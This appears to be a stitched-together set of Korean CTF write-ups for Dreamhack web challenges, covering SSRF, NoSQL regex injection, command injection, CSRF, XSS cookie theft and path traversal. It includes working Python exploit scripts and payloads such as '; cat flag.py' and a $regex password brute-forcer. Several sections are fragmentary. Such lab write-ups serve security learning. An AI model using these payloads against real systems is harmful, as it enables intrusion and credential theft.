서버와 클라이언트 사이에 중계기로서 대리로 통신을 수행하는 것을 가리켜 '프록시', 그 중계 기능을 하는 것을 프록시 서버라고 부른다.
우리가 /socket 페이지를 통해 /admin 페이지와 통신을 할 수 있기에 proxy 문제라고 명명한거 같다.
@app.route('/socket', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('socket.html')
elif request.method == 'POST':
host = request.form.get('host')
port = request.form.get('port', type=int)
data = request.form.get('data')
retData = ""
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(3)
s.connect((host, port))
s.sendall(data.encode())
while True:
tmpData = s.recv(1024)
retData += tmpData.decode()
if not tmpData: break
except Exception as e:
return render_template('socket_result.html', data=e)
return render_template('socket_result.html', data=retData)
app.run(host='0.0.0.0', port=8000)
/socket 페이지에서 host에 127.0.0.1, port에 8000을 입력하고 현재 실행중인 서버의 /admin 페이지에 데이터를 전송할 수 있다. host에 127.0.0.1을 입력하는 이유는 login 함수에 s.connect((host,port))에 있듯이 서버 자신에게 연결하는 것이다. 또한 서버가 8000번 포트에서 실행되고 있기에 port도 8000을 입력하는 것이다. 이어서 s.sendall(data)를 통해 Data에 입력한 값을 보내는데 /admin 페이지는 POST 방식으로 입력을 받기에 이때 POST 형식의 HTTP 메시지를 입력하는 것이다.
@app.route('/admin', methods=['POST'])
def admin():
if request.remote_addr != '127.0.0.1':
return 'Only localhost'
if request.headers.get('User-Agent') != 'Admin Browser':
return 'Only Admin Browser'
if request.headers.get('DreamhackUser') != 'admin':
return 'Only Admin'
if request.cookies.get('admin') != 'true':
return 'Admin Cookie'
if request.form.get('userid') != 'admin':
return 'Admin id'
return FLAG
remote_addr 이 127.0.0.1이어야 하는데 접속 ip가 127.0.0.1 이어야한다. 이건 이 서버를 실행한 admin만이 가능하다. admin이 /socket 페이지에서 login 함수를 통해 s.connect()를 실행한다면 remote_addr은 127.0.0.1이 된다.
헤더의 User-Agent 가 Admin Browser이 되어야 한다.
헤더의 DreamhackUser이 admin이 되어야 한다.
cookie의 admin에 해당하는 값이 true이어야 한다.
post로 보내는 데이터의 userid가 admin이어야 한다.
그리고 POST 방식으로 보낼 땐 Content-Type와 Content-Length가 필요하다.
application/x-www-form-urlencoded는 보내는 데이터를 URL 인코딩 후에 웹 서버로 보내는 방식이다. 데이터를 key=value&key=value 형식으로 표현한다. 현재 userid=admin으로 보내고 있다.
Content-Length는 데이터의 길이이다. userid=admin의 길이는 12다.
참고로 헤더의 끝엔 엔터가 두번 필요하다. 즉 헤더와 데이터 사이에 빈 줄이 하나 필요하다. 이건 HTTP POST 방식의 약속이다.
이 모든건 /socket 페이지에서 아무 값이나 넣고 전송 후 Burp Suite로 메시지를 잡아서 들여다보면 직접 볼 수 있다.
입력값을 보낸 후 결과값은 다음과 같다.
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 36
Server: Werkzeug/1.0.1 Python/3.8.2
Date: Wed, 15 Feb 2023 07:57:59 GMT
DH{9bb7177b6267ff7288e24e06d8dd6df5}
코드를 보면 admin의 서버는 8000번 포트를 열고 모든 ip의 접속을 허용한다. 그리고 127.0.0.1 주소에 1500~1800 중 임의의 포트로 local_server를 실행한다.
입력값을 조작하여 admin이 로컬 서버에 요청을 보내도록 해야한다. 우선 로컬 서버의 포트를 알아내야한다.
import requests
url= "http://host3.dreamhack.games:20197/img_viewer"
for i in range(1500,1801):
response = requests.post(url, data={'url':'http://0x7f000001:'+str(i)+'/app/flag.txt'})
if 'iVBOR' not in response.text:
print(i)
break
url인자는 http://0x7f000001:포트번호/app/flag.txt 형식이다. 이렇게 넣으면 image_viewer 함수에서 POST 방식의 조건문에 들어가서 if, elif 문을 건너 뛰게 된다. 바로 try 문이 실행되며 입력한 url로 get 방식의 요청을 보내게 된다.
0x7f000001 url 상에서 127.0.0.1과 동일하다. 0x7f000001을 1바이트씩 잘라보면 0x7f, 0x00, 0x00, 0x01이다.
ivBOR은 Not Found X 이미지에 대해 base64 인코딩, utf-8 디코딩 한 값이다. image_viewer 함수에 나와있다. 포트번호를 임의로 넣고 url을 전송해보면 Not Found X를 볼 수 있고, 페이지 소스 보기를 통해 iVBOR을 찾을 수 있다. 포트번호를 맞게 넣는다면 Not Found X가 안 나올 것이기에 이를 이용하였다.
이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
upw는 DH{32자리 알파벳&숫자 조합} 형태로 DB에 저장되어 있다.
/login 페이지에서 URL 쿼리를 받아서 필터링한다. 쿼리에 admin, dh, admi가 있으면 필터링된다.
없으면 uid와 upw 인자로 전달한 값이 uid, upw 변수에 각각 저장된다.
user collection에서 uid와 upw키에 해당하는 값이 uid, upw 변수의 값과 일치하는 첫 번째 행을 반환하고 uid 키의 값만을 출력한다.
파이썬 코드를 이용하여 Blind SQL Injection 공격을 수행한다.
import requests
import string
url = "http://host3.dreamhack.games:11000/login"
s = string.digits + string.ascii_uppercase + string.ascii_lowercase
result = ""
for i in range(32):
for key, val in enumerate(s):
payload = "?uid[$gt]=^adm&upw[$regex]={"+(result+val)
r = requests.get(url+payload)
if r.text.find("admin")!=-1:
result += val
print(result)
break
flag = "DH{"+result+"}"
print(flag)
string.digits: 0123456789 문자열
string.ascii_uppercase: ABCD...XYZ 문자열
string.ascii_lowercase: abcd....xyz
enumerate(s) 함수는 0~9A~Za~z 문자열을 index와 문자쌍으로 이루어진 enumerate 객체 반환
payload = "?uid[$regex]=^adm&upw[$regex]={"+(result+val): $regex는 정규표현식을 의미한다. uid에 정규표현식으로 ^adm을 대입하고 upw에는 정규표현식으로 '{문자열' 형태로 대입한다. admin을 필터링하기에 정규표현식을 썼고 ^adm은 adm으로 시작하는 문자열에 해당한다. ^을 빼고 adm만 써도 문제는 풀 수 있다. '{문자열'을 포함하는 upw를 찾는다. 여기서 문자열은 비밀번호를 의미한다.
참고로 payload에서 & 문자 옆에 띄워쓰기하면 admin이 반환될 payload여도 undefined가 반환된다.
uid와 upw 정규표현식을 만족한다면 웹 페이지에 admin을 출력한다. admin 출력여부를 가지고 Blind SQL Injection을 통해 비밀번호를 한 자리씩 알아내고 알아낸 비밀번호를 이용해 비밀번호의 다음 문자를 찾아가는 방식이다.
희생자가 CSRF 스크립트가 포함된 웹 페이지에 접속하면 희생자의 권한을 통해 공격자가 의도한 행위(등록, 수정, 삭제 등)를 실행하게 하는 취약점이다. XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 희생자가 악성 스크립트(등록, 수정, 삭제하는 스크립트)를 서버에 요청한다는 점에 차이가 있다.
아직 입력값은 언급하지 않았지만 입력값에 의해 url은 change_password 웹 페이지에 접근하도록 할 것이다. url parameter의 pw의 값을 pw 변수에 저장한다. 쿠키에 저장된 sessionid도 session_id 변수에 저장한다. flag 함수에서 session_storage에 session_id를 키로, admin을 값으로 저장했기에 username에는 admin이 들어간다.
users = {
'guest': 'guest',
'admin': FLAG
}
users의 admin에 해당하는 값이 pw의 값으로 바뀔 것이다. 즉, 지금 admin의 비밀번호가 바뀐다.
이제 login 페이지에서 로그인을 수행한다. 지금부터는 admin이 아닌 나의 웹 페이지에서 실행한다. pw에는 바뀐 admin의 비밀번호가 들어가 있다. 따라서 login 창에서 id는 admin, password는 바꾼 비밀번호를 입력하면 / 페이지로 redirect 하는 객체가 생성된다. session_storage에 새로 생성한 session_id를 키로, admin을 값으로 저장된다. response 객체의 쿠키에는 sessionid 이름에 session_id 값을 새로 만들어 설정된다. 그리고 리턴함으로써 / 페이지로 이어진다.
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
app.py 코드의 ping 함수이다. cmd에 저장된 명령을 /bin/sh에서 실행하는 구조다.
뒤에 명령을 이어서 입력하면 x.x.x.x 형식이 아니어서 요청이 가질 않는다. Burp Suite를 이용하여 이를 조작해야한다.
8.8.8.8만 입력 후 host 데이터를 수정한다.
cmd = f'ping -c 3 "{host}"'
명령어 형식이 위와 같기 때문에 문법에 맞게 완성시켜야한다. intercept한 패킷을 repeater로 보낸 후 send한다.
cmd는 ping -c 3 "8.8.8.8"; cat flag.py ""가 된다. 명령어1; 명령어2 이렇게 입력하면 명령어1 실행 후 명령어2를 실행한다. 즉 명령어1의 실행 성공 여부와 상관없이 순차적으로 실행한다. FLAG가 flag.py에 있다길래 cat 명령어로 출력했다.
희생자가 CSRF 스크립트가 포함된 웹 페이지에 접속하면 희생자의 권한을 통해 공격자가 의도한 행위(등록, 수정, 삭제 등)를 실행하게 하는 취약점이다. XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 희생자가 악성 스크립트(등록, 수정, 삭제하는 스크립트)를 서버에 요청한다는 점에 차이가 있다.
소스코드를 보면 /admin/notice_flag에 접근해야 FLAG를 이용할 수 있다. admin_notice_flag 함수를 보면 remote_addr이 127.0.0.1이어야 하기 때문에 check_csrf 함수를 이용해서 /admin/notice_flag에 접근해야한다. 이에 앞서 check_csrf 함수는 flag 함수에서 호출한다. 따라서 시작점은 flag 함수이다.
Reflected XSS는 스크립트가 포함된 링크를 클릭하면 스크립트가 포함된 요청이 전송되고, 서버로부터 스크립트가 포함된 HTML 문서를 수신함으로써 브라우저에서 스크립트가 실행된다.
XSS-1과의 차이는 vuln 페이지에서 <script>문이 실행되지 않는 것이다.
XSS-1과 동작 방식은 동일하다. flag 페이지에서 입력하면 FLAG 값이 check_xss 함수에 전달되고 admin(127.0.0.1)이 vuln 페이지에 param 인자 값을 설정하여 요청하면서 cookie에 저장된 FLAG 값을 memo 페이지에 출력하는 것이다.
우회를 위해 svg 태그를 이용한다. svg 그래픽을 이용하는데 필요한 태그라고 한다.
onload는 웹 페이지가 모든 콘텐츠(이미지, 스크립트 파일, CSS 파일 등)를 완전히 로드한 후 스크립트를 실행하기 위해 <body> 요소 내에서 자주 사용한다.
/api/flag에 접근해야 flag를 볼 수 있기에 get_info 함수로 ../flag를 입력하여 post 한다. 127.0.0.1:8000/api/user/../flag는 127.0.0.1:8000/api/flag와 동일하다. 그럼 flag 함수 실행 전 internal_api 데코레이터에 flag 함수를 인자로 넘기면서 호출한다. return decorated_view에 의해 decorated_view 실행된다. 접속 ip가 127.0.0.1이어야 func 즉, internal_api의 인자로 전달되었던 flag 함수가 실행된다.
@wraps, @internal_api는 데코레이터인데 작동방식은 다음의 글을 참고하면 도움이 된다.
get_info 페이지에서 userid에 ../flag를 입력 후 View 버튼을 누르면 예상한 결과가 나오지 않는다. Burp Suite를 실행 후 패킷을 본다. 분명히 ../flag를 입력했는데 userid가 undefined가 되어있다. ../flag로 수정 후 forward 해보자.
쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.
플래그 형식은 DH{…} 입니다.
if __name__ == '__main__':
import os
# create admin sessionid and save it to our storage
# and also you cannot reveal admin's sesseionid by brute forcing!!! haha
session_storage[os.urandom(32).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
함수가 실행되면서 처음에 비어있는 session_storage에 랜덤한 세션 id를 key로 admin을 value로 넣고 있다.
flag는 check_xss함수를 호출하고 check_xss 함수를 보면 vuln(xss) page에 인자값을 전달한다.
FLAG 값이 flag 함수에서 등장하여 cookie 인자로 check_xss로 전달되고 read_url 함수에서 driver.add_cookie 함수에 의해 쿠키값으로 추가된다. 이때 쿠키 값을 memo 페이지에 기록하면 memo 페이지에서 다음과 같이 FLAG 값을 볼 수 있다.
javascript 문인데 location.href 뒤에 등장하는 memo 페이지로 리다이렉션 되며 memo 파라미터로 쿠키값을 전달한다. flag 함수에서 등장한 FLAG 값이 check_xss 함수를 거쳐 read_url 함수에서 쿠키에 FLAG를 저장하였기 때문에 document.cookie를 이용해 쿠키를 출력한다. memo 페이지에 접속하면 FLAG가 보인다.
flag 함수의 인자로 http://host3.dreamhack.games:포트번호 형태가 아닌 http://127.0.0.1:8000을 줬는지, 또는 flag 함수에 <script>alert(document.cookie)</script>를 입력하면 안 풀리는 이유는 127.0.0.1이 내 ip가 아닌 서버를 실행시킨 admin의 ip이기 때문이다. 첫 번째 경우는 127.0.0.1을 이용함으로써 admin의 쿠키 값에 추가된 flag를 memo 페이지에 출력할 수 있으며 두 번째 경우는 alert 창은 admin의 PC에 뜰 것이다.
@app.route('/')
def index():
username = request.cookies.get('username', None)
if username:
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
return render_template('index.html')
app.py 코드 중 핵심 부분이다.
/(루트) 페이지 즉, 첫 페이지에 접속하면 index 함수가 실행된다.
index 함수는 username 이름의 쿠키 값이 admin이면 "flag is FLAG값" 형태로 출력한다.